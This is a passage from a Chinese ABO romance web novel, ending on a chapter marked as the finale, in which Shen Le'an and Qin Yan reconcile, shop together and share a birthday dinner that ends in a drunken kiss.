他出去前帮忙关上了门,目光不经意撇过Alpha手上的玫瑰花,短暂地与秦砚寡淡的视线擦肩而过。 Alpha与Alpha之间无形的敌对感令人神经绷紧。 叶白杨抿了抿唇,在门前徘徊数秒才最后离去。 沈乐安转回脑袋,便看见某人自顾自地将自己带来的玫瑰从花束里面摘出,然后插在了摆放剑兰的瓶子中。 妖艳和清雅毫无秩序地搁置在一块,有种不相兼容的不伦不类之感,破坏了原来的美感。 “这样很丑,你别他妈的乱放。”沈乐安忍不住吐槽。 “好,”秦砚说完,指尖稍抬,将那几株剑兰从瓶中取出,丢在垃圾桶里,“这几株已经败了,确实影响美感,你喜欢我下次给你带新的。” 剩下的玫瑰被他放在桌旁,“剩下的你喜欢都可以送人,我每天都会过来帮你换新的。” “工作时间不要聊私事。”沈乐安面无表情地打断。 秦砚从善如流地嗯了一声,回道:“现在过去?” 沈乐安拿起东西:“走吧。” 一回头,看见秦砚又要拿起那束花要走,沈乐安的冷脸险些没有维持住,“花放这,不要拿。” 拿着花到处乱走,还是去沈烨那里,当着那么多人的面,他们的关系估计有理都说不清。 秦砚顺着他的意,将花束放下,又认真摆在了桌子一侧靠在墙壁上,显眼又瞩目。 沈乐安后知后觉,发现自己中了他的套路。 这么一搞,他倒是确实收下了秦砚送他的花。 沈乐安无语半晌,默默加快了一点步速,与Alpha拉开了半步的距离。 他走的急,又有些分神,没有注意拐角护士急匆匆推着病人赶去电梯,听到护士叫着让开时没有及时反应过来,移动的病床就要擦过身体。 身后的男人反应迅速地将他拽了回来。 沈乐安一个趔趄,直直摔在了Alpha宽厚的胸膛,肌肉相撞,疼得他嘶了一声,脚腕如似被尖锐的针扎,痛的他眼角冒出泪花。 那个护士见到险些撞到人,忙不迭与他们道了声歉,急着送病人上去,也没有等他们回复,就匆匆忙忙离开了。 秦砚扣着他的腰,扶着他站稳。 另外有护士过来,询问他们的情况。 沈乐安没有说什么,毕竟也是自己没看路,便与那个护士道自己没有事情,让她回去忙了。 人一走,沈乐安才发现自己还抓着秦砚的手臂借力,刚想松开,还未完全使力,眉心骤然一紧。 “扭到了?”秦砚并没有完全松开他,低头问。 “没有,”沈乐安道,“应该是不小心撞到了。” 小腿处有明显的青紫。 沈乐安默默说了一声倒霉。 秦砚眉心微敛,扶着他到一处长椅那坐下,然后将他手上的东西放在一旁,站起身道:“我去拿点活络油,你在这待着不要动。” 沈乐安瞧了一眼可怖的红肿,默默咽下他可以的话,道:“谢谢。” 秦砚很快离开。 沈乐安坐在原地,没等两分钟,就看到秦砚拿着东西回来了。 秦砚在他身前蹲下,半跪着,粗糙的指腹压在红肿的区域,很轻地按压了一下,“疼吗?” Alpha的指腹带着一点灼热的温度,力气却格外的轻,如似蝶羽,眉眼全神贯注于伤口。 沈乐安睫毛轻轻颤了一下,“还好。” 秦砚倒出一点药油在手心,轻轻按了上去。 他动作很慢,力度不大,缓缓疏解着瘀血。 沈乐安盯着他的手,看着他不紧不慢地擦完了油,然后才拿着湿巾擦了擦手心。 沈乐安扶着墙壁站起来,试着用拿只脚站了站,还未尝试成功,那红肿地方便有尖锐的刺痛感蔓延开来,脚下一软,险些再一次跌摔。 秦砚及时扣住他,拧眉道:“还想再来一道伤?” 沈乐安自觉狼狈,但还是强撑着面子道,“这会怎么就不轻声细语哄我了?” “我不会纵容你做不对的事情。” 沈乐安从鼻腔飘出一声冷调。 秦砚扣着他的肩膀,将他整个人力气都靠在自己身上,以免动用另外一边受伤的脚。 沈乐安几乎被他揽在怀中,手臂也被他单手环住,以一个挂件的姿势,亲昵的依靠在Alpha的身上,仿佛成了手脚无用的残废。 这样的姿势太过于暧昧,也没有这样的必要。 他只需要借一借秦砚的手臂支撑就能走。 “这种时候没有必要因为我们吵架而逞强。” 沈乐安刚要后退的动作,秦砚便单手捉住他不安分的脑袋,往胸膛一贴,沈乐安便彻底埋入他的怀中。 Alpha冷冽清淡的气息扑面而来,裹挟着淡若游丝的松雪之气。 “安安,乖一点。” 察觉到小少爷的乖张和反抗,秦砚无奈地哄着他。 温热的吐息犹在耳畔,附在敏感的耳珠,如似轻柔的棉签擦拭掀起一阵痒意,胸膛微微震颤,从接触的脑袋传递。 沈乐安顿了顿,默默收敛了动作。 — 沈乐安早之前来沈氏集团是一个普通的实习生,辞职后有几次来过这里找沈烨,但大多都是因为沈小少爷的身份。 今天还是第一次以合作者的身份踏入这里。 早之前对他颇有微词的那几个董事叔叔经过上次医院的事情之后,对他都没有了当初的态度,尤其是今天他是以联邦军方研究院的身份过来的,招待的规格更是座上宾。 不过沈乐安今天还真的摆不起什么谱,因为来之前不小心撞了腿,秦砚又格外强势地要搀着他,沈小少爷气势全无,还多了一个病怏怏的评价。 走路难受也是真的难受,沈乐安也没有和他们废话,打了几句官腔,就让人往下走流程,直接带他们去工厂查看情况。 倒是庆幸沈烨不在,不然沈乐安很真的不好说他和秦砚碰面会说些什么,毕竟当初在半山别墅外边,沈董事长的冷静都没了,险些爆了粗口,还是爷爷打了他一巴掌才让人冷静了下来。 审查、资质确认、信息核查,一通流通走下来,沈乐安从上午忙到了下午,午饭是随便应付的,晚饭高层还想留他们,但沈乐安并不想过多的参与这种应酬,想也不想的婉拒了。 这繁重的工作和他之前在校医室的闲散全然不同,消耗的精力太多,让沈乐安都恍然有了上辈子连轴转的错觉,虽然这些工作强度远不及过往,但已然躺平的沈医生实在觉得腰酸背痛累得慌。 上车后,闻着秦砚车内的熏香,沈乐安倒头就睡了过去。 直到车停,沈乐安睁开眼,还有点懵懵的。 “这是哪?” 如果不是驾驶座上坐的还是秦砚本人,沈乐安还真的会以为自己被人拐带了。 车子停在地下停车场,视线偏暗,一眼望过去都是车,顶上有指示的灯牌,零碎几个,勉强照亮地下停车场的路线。 “商场。”秦砚开了车门,“负一楼有超市,家里没有食材了。” 沈乐安边下车边道:“怎么不线上买?” “你不是还想买零食?”秦砚瞥了他一眼。 沈乐安喜欢的品牌线下店铺的口味最正,也最符合他的喜好,他不喜欢线上的口感。 不过之前沈乐安的零食都是家里的小叔沈序帮他买的,偶尔余淮阳也会帮他带,后来到军校工作又认识了秦砚,这又成了秦砚包办,他自己还真的很少来线下囤过零食。 沈乐安嘟囔了一声,倒也没有说什么。 “腿好一点了吗?” “还好。” 秦砚按了电梯,一路走到超市购买生鲜的位置,甚至没有看头上的指导标志。 “你来过这?”沈乐安看了他一眼。 “来过几次,”秦砚道,“这里你现在住的地方只有两千多米的距离,超市的种类还算齐全,你买东西可以来这。” 沈乐安咂摸了下嘴,“走路好远。” 他平时又不喜欢自己开车。 秦砚接话道:“我可以开车送你。” 沈乐安哦了一声,低着脑袋,认真端详着那棵大白菜,没有继续这个话题。 “今晚想吃什么?”秦砚问道。 “你要做饭?” “嗯。” 沈乐安回忆了一下秦砚之前的手艺,挑了几样菜,放在篮子里面,其中包括他还挺喜欢的西兰花。 秦砚自然察觉到了,视线停驻几秒,又缓慢地收回,“还有其他想吃的吗?” 意料之外的平静,恶作剧失败的沈乐安了无意趣地敛回了视线,“没了,你自己看着买吧。” 秦砚回他:“好。” 沈乐安在生鲜区挑挑拣拣了一会,才顺着道走到零食区域,照着自己喜欢的口味买了一车篮子的零食。 搬到新家,唯一有点缺憾是便是冰箱内还是空荡荡的,早之前他没有来得及过来买,倒是没想到秦砚去他家做了一次饭,就敏锐发现了他的需求。 该说不说,秦砚在这种方面,确实会给人以非常多的生活舒适感。 沈乐安边逛边走神地思考着,觉得自己实在没有必要有什么不享受秦砚体贴的理由。 至于秦砚的追求,他虽然承认自己有点喜欢对方,但是也不好因此就下意识选择避之不及。 难道自己还有一点隐形的回避型人格? 沈乐安头一回在处理关系上对自己产生怀疑。 秦砚扶住推车的把手,及时拐了方向,“看路。” “哦。” 沈乐安眼神一瞥,发现自己差点让车刮倒置物架了。 “走神什么?” “在想一件令我费解的事情。” 秦砚问道:“什么事?” “秦教官,”沈乐安道,“我忽然发现你对我的负面影响比较大。” 少年脸上不见严肃,颇有两分调侃意味,话里的意思却一点也不似戏言。 负面,代表的是需要远离的东西。 秦砚盯着篮子里面的西兰花,侧眸看向他,“改变不一定是一件坏事。” 沈乐安点了点西兰花的位置,“你之前不喜欢吃这个。” “不挑食是一件好事。”秦砚回他。 对于他装傻充愣的行为,沈乐安不可置否。 秦砚推着一车子的东西去结账,暂时中断了对话。 沈乐安紧随其后,下到停车场时,Alpha忽然开口道:“刚刚还有一句话我没有问完。” “啊?”沈乐安从游戏中抽回神,侧眸看向他。 停车场的光线昏暗,看不清楚他的神色,只有迎面而来偶尔的一阵凉风,也许是空调的冷气。 “是什么负面影响,”秦砚道,“可以说说吗?” 沈乐安没想到他从结完账走下来一直还在认真思索这个问题,倒是和他秦砚执着不休的性格相似,只不过用在这种事情上,他也有点意外。 说起来也就是他当时随口一提,心血来潮而已。 他思考片刻,回忆了一下方才的感受,回他:“情绪反复,容易想太多吧。” 说白了其实还是他对于秦砚还是不完全信任,包括这一段关系。 秦砚大多时候太过于内敛和沉默,习惯性的用行动代替表达,沈乐安并非毫无所觉,但人总是表面的动物,缺少了语言的安抚,哪怕再完美的行动也容易在日常中习以为常之后主动忽略。 这是人类的本能,沈乐安也难以逃脱这个例外。 秦砚安静了片刻,没有言语。 空旷只有车子的停车场内,只有两人鞋底与地面碰撞的声响,啪嗒啪嗒地音调与暗白的光线落在少年的耳畔与肩头。 没有人在下面,只有他们两个人行走的声音,仿佛世界都仅存他们两人的身影。 沈乐安等待了半分钟,没有等来秦砚的任何回复,倒是发现自己太过留意他的回答,忽视了自己的游戏,保持的胜绩一个不留神就多了一个污点。 无言半晌,随手退出,直接按了锁屏。 于是那一点仅存的细小的游戏声也没有了。 “抱歉。”秦砚抬手抚上他的后颈,轻轻捏了捏,似是安抚,“是我不怎么会表达这些东西让你产生了误解。” Alpha声音有几分迟钝的干涩,像是酝酿许久的甜酒,埋于地下,久不见光,轻轻一拨开,春意渐浓。 “但喜欢沈乐安对我来说也是一件我平淡人生中意料之外的幸运,”秦砚道,“所以你不必多想。” Alpha粗糙的指腹在少年敏感的后颈徘徊,点燃了一片星星之火,而后克制的把握了尺度,又收回了手,留下了适当的分寸感,绅士又礼貌。 昏暗不明的光线让两人都有了一层遮羞布一般。 停车的位置仿佛无休止一般的长。 沈乐安木着脸,身体却反常的有几分僵硬,步伐也慢了一些,巴不得这条路走远一些,让他冷静冷静。 秦砚却似乎并没有打算放过他。 走了不过两步,便开口继续道:“我并没有无凭无据地一直以你男朋友的关系自居,只是当时在半山别墅里面,我原本让你离开,就是因为我知道我们的身份在那种时候并不合适发生那种事情,你心中不会愿意,所以我没有打算勉强你,但是。” 后边的话秦砚没有继续说,但事情的发展不言而喻,是沈乐安主动进去的。 沈乐安凉飕飕地道:“你怎么默认我帮你就是和你和好?” 秦砚顿了一下,回道:“是我自以为是。” 沈乐安那口气不上不下地,冷哼一声,“你救了我,我帮你不是很正常?” 秦砚难得地夹带了个人情绪,以没有根据的假设追问了一句:“换作是别人,你也会这样?” 沈乐安很想回他一个‘会’,但话到嘴边,想到他格外不通弯绕的直白,又默了默,一时间没有回话。 像是某种意义上的默认。 黑暗中的Alpha忽然很轻地笑了一声。 一个毫无意义的假设和毫无根据甚至谈不上正面的回答,但他心情却因此格外的好。 秦砚道:“入院后没有找你,是因为我认为那天晚上我的行为过于失控,你大概率不愿意见我,所以我希望等到你愿意主动原谅我来找我为止。” “我并不否认里面有我过于自傲地希望你在我虚弱的时候特地前来医院看我的想法。” “徐应尧给你的消息是我托付他转达的,但你知道后并没有过来。” 秦砚抿了抿唇,低声道:“现在可以问问原因吗,为什么拉黑我?” “凭什么是我主动联系你主动找你,”沈乐安忍不住反驳道,“秦砚,凭什么要我先低头?” 沈乐安几乎是脱口而出,大概是这无人来往又视线昏暗的地方太容易让人放下防备,沈乐安第一次有点意外自己隐藏许久毫不思索的真实想法,头一次觉得自己也挺幼稚的,纠结这种小事。 “抱歉,”秦砚道,“是我的错。” “下不为例,”他说的严肃又认真,“这个坏习惯我会改。” 说完,话题又被秦砚带回原位,“所以改变不一定就是一件坏事,至少你现在也愿意和我坦诚了不是吗?” 沈乐安突然停下脚步,转头似笑非笑地看向他:“秦砚,你这意思是我以前就不和你坦诚?” 秦砚温和地嗯了一声,低眸落在他柔亮乌黑的眸子上,“你没有完全信任我,所以一向言不由衷。” “比如现在。”秦砚道。 沈乐安闻言,扬了扬眉,似乎看他能说出什么所以然来。 Alpha抬了抬上,指腹压在少年的眉间,少年浓密的睫羽轻轻颤了颤,眼神犹是没有半点后退。 “你不高兴的时候会直勾勾的看着我,”秦砚指腹往下,语速平稳,“眼睛很亮,喜欢努力保持平视,表达你不屈人下的态度,嘴上哪怕是笑也是很小的弧度,眼尾却是冷淡淡的不近人情。” “如果眼神开始有点躲避和不坚定——”秦砚说话间很微妙地停顿了一下,眼神紧紧捉住他,“安安,你是不是也喜欢我?” 沈乐安下意识低眸,避开了他幽深的瞳眸,随之后颈一麻,仿佛通过他未曾离开的手共振心跳和共享温度。 咚咚咚—— 如似雷鸣鼓动、冬雷震震,嗡鸣整个神经。 Alpha语气幽然,似是喃喃低语,灼烧着沈乐安的耳畔,“所以安安是在心虚还是害羞呢?” 沈乐安一把拍开他多余的手,很清脆地一声响,飘荡在空旷的停车场内。 Alpha却不见一点怒气,眼底带着一丝轻笑,贴心地帮他转移话题,“下个月15号我可以提前约你吗?” 上次的邀约失败,秦砚吸取了教训,问的直接。 沈乐安没领这个情,巴巴了半晌,才挤出一个字。 “……滚。” 【终章】 第75章 第 90+91 章 秦砚顺理成章的登堂入室已经成为了必然的事情。 不光是自己的新家, 连研究所的人都知道了沈医生最近多了一个追求者,一日三餐都给沈医生送到,日日还有新的花送来沈医生的办公室, 唯独追求者本人, 大家没有见过。 但花也只送了一段时间,那个神秘人就没有再送,所以这个谣传的八卦可信度又变得半真半假了。 只有叶白杨知道这个八卦确实是谣传,因为沈师兄目前确实是单身, 而那些送来的玫瑰花,和头一回沈师兄送给大家的花是一家店买的, 显然送的是一个人。 对待恋人精心准备的花束,叶白杨觉得师兄不像是那种会随便拿来送人的人。 沈乐安确实也没有再将秦砚送来的花随便给研究所的人,不然以秦砚的性格,十有八九就会和上一次一样, 默默惦记在心, 然后下一次再买过来, 还会再加几大束,美名其曰想送人他可以单独买, 不缺送给沈乐安的这一份。 沈乐安本就懒得处理这些花花草草, 索性和他直说让他不要再送这些东西, 他丢还觉得麻烦。 本来三餐也是沈乐安打算要自己在食堂解决的,但这个沈乐安倒是没有能够和秦砚谈妥,秦砚还是坚持当着小蜜蜂, 给他按时做饭送餐。 药剂的研发基本进入尾声, 和沈氏的合作敲定, 沈乐安还抽出时间过去了一趟沈氏,配合他们又发了一篇报道, 沈氏的公司形象在与联邦的官方合作公开后正式从低谷反超,恢复正面,公众的信任度也在逐渐往正向发展。 唐洛安已经发布的游戏也逐步走向正规,游戏里面的人物绘画广受好评,姜叶没有完成的梦想也在这个游戏中得到实现。 沈乐安决定下次去看他妈妈的时候给他捎个游戏设备过去,也算是圆了她的梦想。 列表内的任务清单逐一清空完成,沈乐安觉得自己仿佛肩上的担子陡然一空,又多了一点无名的怅惘。 这点小小的愁绪被弹出来一条强提醒的闹钟打断。 ——准时吃饭。 沈乐安:“……” 也就秦砚这么无聊,因为这种小事还和他谈判,专门设了一个闹钟。 关了闹钟没有两秒,微信弹出来新消息。 小青菜:【吃饭了吗?】 沈乐安慢吞吞地拿出来半个小时前送过来的保温盒,打开,拿手机拍了张照,发送:【在吃。】 小青菜:【嗯。】 小青菜:【今晚我去接你。】 沈乐安:【OK】 刚退出去和秦砚的聊天,和余淮阳一块的吃喝玩乐群有人@他的消息醒目在群聊列表内。 余淮阳:【@LLA 今年生日还是老样子?苦尽甘来,给你VIP定制特色游玩项目咯】 余淮阳:【刚好明天15号农历生日先去射击馆玩玩,下个月18号新历生日再去体验一下赛车?】 …… 凌圆圆:【乐安哥不在线吗?】 沈乐安扫了一圈消息记录,又看了眼余淮阳提的日期,看着熟悉的15号,忽然想起来秦砚早早就提前预定了他那天晚上的时间。 他当时也没有多想,只当那天在停车场他随口一提为了不让他尴尬而强行转移话题来着,所以他是知道那天是他生日,所以另有打算? 难怪昨天晚上他还提了一嘴后天时间空出来给他的事情,今天还专门要开车过来接他。 这段时间都是沈乐安自己尝试开车过来的,根本也用不上秦砚。 群里的消息还是不断地往后弹。 沈乐安先答应好了秦砚,也不好临时把人鸽了,只好在群里编辑了一条消息,告知:【明天没空,下个月新历生日再约你们出来。】 余淮阳:【啊?】 凌圆圆:【乐安哥是不是项目还有事情?QAQ】 明天确实还是工作日。 沈乐安斟酌了一下,只回:【有点事,下次约[小猫鞠躬.jpg]】 然后马不停蹄地退出不再看消息。 办公室的门被人敲响。 沈乐安筷子还没有完全拿起来,又默默放下,“请进。” 叶白杨推门而入,将文件放在沈乐安的桌上,“这是徐师兄让我转交过来的审核文件,需要哥的批复。” 沈乐安:“我等会再弄,他还没有放你们走?” 徐应尧的敬业程度和秦砚有点相似,这个点都到饭点了还在工作实在有点夸张。 叶白杨:“交完就去吃饭。” 他目光不经意地在沈乐安面前的饭盒处停留了片刻,又道:“本来想顺道过来找哥一起去食堂吃饭然后打听一下论文指导意见的。” 叶白杨最近在做药剂相关的论文发表,沈乐安作为主要的负责人,当然也荣幸地成为了半个不靠谱的老师。 平心而论,沈乐安觉得自己教不了什么大理论,不过叶白杨愿意请教也是一件好事,他会尽力而为。 “今天提前准备午饭就不和你们一起去食堂了,”沈乐安道,“下午下班的时候你来找我吧,我顺便帮你看看。” 叶白杨笑了笑,点点头,“谢谢哥。” 沈乐安颔首,算是应下。 他动了动筷子,不需要多言,叶白杨便拐头出去了。 在识趣这一点上,叶白杨比秦砚有眼力的多。 吃饭完,沈乐安看见秦砚催他发张照片过去确认一下的消息时,心中暗戳戳地吐槽了一番,不过说过说,沈乐安还是给秦砚拍了张照发了过去。 图上还画了一个火柴小人图,比了一个鬼脸。 秦砚眉间微舒,顺手将那张照片保存了下来。 出发去医院前,秦砚还是专门饶了路去了一趟花店,买了一束花。 沈小少爷虽然因为担心工作场合风头过盛影响工作,所以义正严词的拒绝每天送花的日常,但不可否认,在意料之外收到礼物时,他是欢喜的,哪怕嘴硬着不肯承认。 秦砚现在能够基本摸透他的情绪。 车子在医院门口停稳,没有堵车,秦砚看了眼时间,比沈乐安下班的时间还要早到十分钟。 秦砚手机微微一震,低眸查看。 是沈乐安的消息:【会晚几分钟走,你别来那么早。】 秦砚回了一个好,并没有提自己已经到了门口。 叶白杨一下班就拿着论文相关的材料过来了,沈乐安答应了他,也没有任何敷衍的意思。 光是看厚度,沈乐安就估计自己可能会晚点离开,秦砚一向准点出门,于是他便先发了消息,让他不要提早过来。 沈乐安看完,给他标注了几个位置和一些建议,然后才收拾东西准备走。 叶白杨没有离开,还立在原地。 沈乐安:“还有别的事?” 叶白杨抱着那叠资料,有点不好意思:“还有几个问题来着,怕担心哥的时间,等会一起走出去的时候说吧。” “也行,”沈乐安不以为意,出去的时候顺手关了门,“论文还有什么问题?” 叶白杨跟上他的脚步,“是数据方面的,有个数据检验没有通过……” “我看看。” 沈乐安拿过他的论文数据瞧了瞧,从研究所到医院大门口还有一长段路,还没有办法完全和他解释清楚,时间还是有点赶,还没有说完就走到了医院的门口。 叶白杨主动拿走了他手里的论文打印文件,“剩下的等下次吧,今天麻烦哥了。” “没事。”沈乐安客气地回他,余光瞥了一眼停车的区域。 已是傍晚,夕阳下落,落日的余晖洒在医院大门的平地上,停车区域的车身反射着灼眼的光芒。 沈乐安习惯将车停在一个地方,但今天那个位置却不是叶白杨见过的车。 “哥今天没有开车过来?” “没有。” 叶白杨心头微微一动,“我开车过来了,要不我送你回去?” 沈乐安没看到熟悉的车辆,只以为秦砚还没有到,给秦砚发了条信息,又转回头,婉拒:“不用。” 坐在车上的人手机震了震,但手机的主人却没有看,也没有回,目光还幽幽地盯着门口不知和那个年轻的Alpha在闲聊什么的沈乐安。 两人站在人来人往的大门口,站的距离极近,交头接耳,关系亲密。 其中的那个年轻的Alpha有几分眼熟,秦砚见过,算起来是沈乐安新来的同事,据说还是沈乐安的直系师弟。 秦砚记性不错,对叶白杨有几分印象。 Alpha已然决定给自己的伴侣一定的私人空间,也不希望因为一个无关紧要的人再一次引发争执。 秦砚心中是一片凛然大度,指尖却有一下没一下地敲着方向盘,眉头因为过于长的聊天时长而蹙起了眉心。 沈乐安拒绝的干脆,并不想造成不必要的误解。 叶白杨有点气馁,但还是问道:“哥明天请了假是吗?” 沈乐安没有否认,“论文的事情你后天来找我也行。” “我听说明天是哥的生日。”叶白杨说着,从一直提着的袋子里面取出来一个小盒子,刚想递过去,就被一阵无礼的车鸣打断。 那个无礼的车主还在车子转弯的时候开了灯,灯光一闪而过,直直打在叶白杨的眼前,刺激的他猛然避开了脑袋。 车子稳稳停靠在他们两个的仅隔一米的位置。 叶白杨没见过这种没礼貌的人,果然开着豪车的富二代都没文化没素质! 他很想破口大骂,但沈乐安也站在这里,他还是努力保持了一下形象。 目睹一切的沈乐安:“……” 副驾驶位置的车窗落了下来。 坐在里面的Alpha便出现在视野之中。 男人眉若刀裁,眼窝深邃,五官凌厉,一身简单的黑色衬衫一丝不苟地扣紧了所有的纽扣,肌肉线条隐约可见。 沈乐安瞥了他一眼。 ……幼稚。 秦砚的视线跟在沈乐安的身上,没有半分留给旁边的叶白杨,“怎么还不上车?” 沈乐安与他对视了一秒,而后转头回来,与叶白杨道:“我得先走了。” 那车上的人叶白杨当然知道是谁,但他出现在这里,又以这种方式出现,他并不能完全理解。 对方似乎和沈师兄非常的熟稔,至少语气上比一般的好友来的默契。 叶白杨愣了愣,听到沈乐安的话,很快回神,将手里的礼盒递出去:“师兄帮了我这么多,我也一直没请你吃成饭,这个算是回礼,也提前祝师兄生日快乐。” 他识趣了换了个称呼,便是明白了分寸感。 沈乐安没有拒绝,接下了礼后便上了车。 叶白杨与他招招手便转头离开了。 车门一关,外面的声音全部消匿,只有零星一点放东西的细碎声。 沈乐安拆开看了眼那个礼盒,然后就随手将它放在了车子前面的空位置上。 “里面是什么?”秦砚扫了一眼,像是随口一问。 沈乐安也没仔细看:“应该是一支定制的钢笔。” 上头的刻字他没有仔细留意。 秦砚目光转回前方,那个年轻的Alpha还没有走远,似乎回头还往这边看了一眼。 秦砚敛回视线,又道:“我好像见过他。” 明知故问,沈乐安暗忖,回他:“住院的时候见过吧。” 话了,又善解人意地补充道:“他是我新来的同事,我应该和你提过,也是严教授带的学生。” 秦砚看了眼那个精心的礼物盒道:“同事?” “是同事。”正在闭目养神的沈乐安掀了掀眼皮,侧眸瞥了他一眼,“所以今晚吃什么?喝醋?” 话题被他强硬一转,秦砚还欲再追问的路便被堵了干净,如鲠在喉。 他抿了抿唇,压下那点郁闷,便看到了沈小少爷得逞的笑容。 仿佛在调侃他的不成熟行为。 秦砚默了默,没有久留,将车子驶离。 — 车子一路往郊区开,人迹稀少,风景渐盛,冬去春来,正是万物生开的季节,山岭也不复豆苗稀的灰白,而是一片的青绿。 沈乐安一下子没有认出来这里,直到视野中出现熟悉的独栋小别墅。 沈乐安先下的车,坐在驾驶座的秦砚难得晚了一步下来。 落日的余晖消失殆尽,日光全无,半山腰上只有零碎的月光,车内没有开灯,沈乐安不知道一向高效率的秦砚磨蹭什么,比他还晚一步下车。 不过当走近别墅,光线亮起的时候,他便知道秦砚手里多了什么了。 是一束粉红色的艾莎玫瑰。 淡淡的粉调,花瓣末端交叠着白,枝梗是清脆的绿,娇艳欲滴,花瓣上弥留的水露闪烁着璀璨的光芒,夺人眼球。 沈乐安接过,不动声色地看了他一眼,“怎么和之前的不一样?” “店员告诉我不同花有不同的花语,适合不同的场合。”秦砚转述道。 沈乐安若有所思地点点头,随即好学地追问:“那这个花的花语是什么?” 秦砚顿了顿,唇瓣有几分不自然地抿起。 沈乐安笑意盈盈地望着他,双眸发亮,欣赏着他罕见的窘迫。 短暂的沉默片刻。 夜晚的风声都变得寂静了一些。 让秦砚这种内敛又严肃的人说出那样的话,实在是刻意为难。 Alpha还是低了头认栽,克制着那点微妙的不自在,垂眸道:“是我只对你心动。” 沈乐安眨了眨眼,笑道:“知道了。” 秦砚无奈地看着他,“开心了?” 沈乐安满意点头,“给你打个四星好评吧。” 秦砚拿他没办法,只是重重地揉了把他的脑袋。 别墅内被人专门清理过,没有了上一次来的时候那么荒无人烟的烟尘感,这里曾经的狼藉也被人收拾的干干净净,仿佛了无痕迹。 沈乐安扫了一圈,心思莫名,又看了眼厨房,发现冰箱内塞满了东西,餐桌上是还有飘着热气的饭菜,不算是什么大餐,充其量算是家常小炒。 沈乐安默默把盖子盖了回去。 行吧。 他不该对秦砚这个人有太多惊喜的期待。 那束艾莎玫瑰可能是他今年生日最大的意外收获。 沈乐安眼神幽幽地看向秦砚,“这里有没有蜡烛?” “有。” “花瓶有吗?” “有。” 沈乐安把玫瑰插到了花瓶内,又点了蜡烛摆在中间,灯一灭,倒是有了一点氛围感。 沈小少爷还算满意,“勉强算个烛光晚餐吧。” 秦上将默默记下自己的疏漏,决定改日再进行弥补。 好在沈乐安并没有觉得这生日晚饭的体验非常失望。 半山腰上吃晚饭和城市的高楼上吃晚饭的体验感是截然不同的,落地窗外是萤火星星,悬月辉芒,遍野影叠,千百种幻想聚集于似有若无的伶仃影像中,俨然有种与世隔绝的宁静。 “干杯,秦砚。”沈乐安颇有仪式感地抬了抬酒杯。 酒是沈乐安刚刚自己翻出来的,秦砚原计划里面没有这一出,他等会还打算开车,并没有打算喝酒。 秦上将一向游刃有余,计划周全,唯独忘了有个不稳定因素沈乐安在其中。 沈乐安见他不过两杯酒,脸上就有了明显的红,起身走近,用自己的酒杯碰了碰他的,看着他道:“秦教官,你是不是酒量不怎么好?” 秦砚蹙眉道:“我不常碰酒。” “为什么?” “喝酒容易不理智。” “所以你当时是在不理智的情况下在酒吧外面强亲了我?”沈乐安站着,颇有点居高临下地打量着他。 “亲你没有不理智。”Alpha正襟危坐,皱着眉回话,丝毫没有觉得自己说话有点逻辑不通颠三倒四。 醉酒的Alpha冷淡和疏离犹存,唯独锋利少了许多,仿佛任人宰割的牛羊。 沈乐安笑眯眯地贴近,掐了掐他的脸颊,“秦砚,你酒量好差,难怪平时不怎么见你喝酒。” 秦砚略有不适地拧了拧眉,但到底也没有退开,任由Omega在他的脸上捏圆搓扁。 沈乐安玩腻了,才善良地松开手指,戳了戳他的眼尾,“秦上将,现在玩一玩真心话大冒险,我问你答,听懂了吗?” 沈乐安决定录下来秦砚的黑历史,专门开了手机录音,清了清嗓子,点了开始:“三月十八日晚半山别墅,秦砚秦上将独白记录,记录人沈乐安,over。” 念完开场白,沈乐安便弯唇开始拷问:“第一个问题,秦砚是个小心眼,秦上将你说是不是?” Alpha虽然醉了酒,但智商还没有完全下线,反驳道:“我不是。” “那叶白杨送我的礼物你弄去哪了?”沈乐安拿着手机凑近问。 他刚刚回车上拿东西的时候就没发现来时他放在前面空位上的礼盒了,刚刚秦砚在车上等他先下,估计也是打的顺手牵羊的算盘。 秦砚默不作声,醉了酒,嘴巴在某些方面也格外的严。 沈乐安喝了口酒,幸灾乐祸地看他吃瘪。 这人吃醋也这么闷骚,一点都不吭声,但气性着实不小,从他上车就开始喋喋不休的追问就能明显看出。 但他不讲,沈乐安乐的当做不知道,纯纯陪着他一块装傻。 这还是从秦砚这闷葫芦学的,毕竟秦砚也是喜欢什么都不讲明白,算是以其人之道还治其人之身。 沈小少爷戳了戳Alpha的脸颊,“秦上将说不说啊?” 秦砚无动于衷。 冷峻的面庞染上红痕,偏偏他坐着端正笔直,反倒生出几分罕见的乖巧温顺,如似猛虎拔了牙齿一般。 沈乐安盯着他看了半晌,贴近他的耳畔,哄骗他:“你说出来我亲你一次怎么样?” Alpha似乎有了一点反应,迷离的目光微微偏转,仿佛在确认他的真实性。 沈乐安从容地与他对视上。 须臾,秦砚才道:“放好了。” “放哪里了?” 秦砚不作答了,只静静注视着他。 醉酒的人还这么有原则,一点都不好骗。 沈乐安糊弄地亲了亲他的脸颊,一触即离。 秦砚尤是不动,像是一块石雕。 沈乐安只好转道,在他唇瓣上碰了碰。 Alpha这才徐徐开口:“别墅的储物间。” 沈乐安笑了下,追问:“秦上将为什么这么做啊?” 秦砚顿了顿,抬眸望向他,一动不动。 那双深蓝色的眸子浸润了酒意,愈发显得浓稠晦暗,情绪深叠,像是浓艳珍贵的蓝宝石。 沈乐安拿着手机贴近,一本正经地重复问题,“秦上将是因为这种小事幼稚地吃醋吗?” 沈小少爷特地在‘幼稚’两个字上加重了音调。 说完问题,然后才将手机挪进秦砚的嘴边,“来,秦上将回答一下。” 秦砚盯着他,一言不发,唇瓣微微抿起。 真是不好糊弄啊。 沈乐安心里嘀咕着,又屈身贴近,试图再效仿刚刚的蜻蜓点水骗个答案,但这一回他没有如其所愿。 唇瓣轻碰而贴合,却没有能够很快离开。 酒意半醒的Alpha直直扣住了恶意十足的Omega,腰间长臂一搂,Omega毫无防备,直接摔在他的膝上。 唇舌长驱直入,不留一点空隙,肆意侵占着少年不稳的呼吸和仅存的空气,津液交叠,从唇缝可疑地遗漏出来一点,暧昧横生。 沈乐安晕里晕乎间得到了Alpha肯定的回答。 恶意的反扑和警告也随之而来。 宣布着沈小少爷的游戏告罄,秦教官的调教拉开序幕。 …… 沈乐安半梦半醒地被秦砚抓起来穿衣服的时候,下意识摸了摸自己的手机,想看看时间。 一手空空,什么都没有摸着。 迷迷糊糊地抬眼,看到了躺在地上的已然黑屏的黑色方块。 视野还比平时要高一些。 因为秦砚正背着他。 沈乐安迷糊地趴在他的肩膀上,气息微弱地问:“去哪?” 秦砚完全不像宿醉和体力过度消耗的模样,语气如常:“到了会叫你,你继续睡吧。” 